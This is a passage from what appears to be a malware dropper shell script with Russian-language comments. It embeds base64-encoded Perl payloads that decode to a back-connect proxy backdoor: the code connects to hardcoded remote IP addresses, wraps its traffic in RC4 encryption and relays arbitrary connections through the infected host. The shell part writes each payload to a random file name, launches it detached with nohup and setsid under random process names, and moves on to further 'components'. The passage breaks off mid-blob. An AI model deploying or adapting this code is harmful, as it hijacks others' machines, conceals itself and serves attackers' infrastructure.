ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #33 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #33 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 34 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ 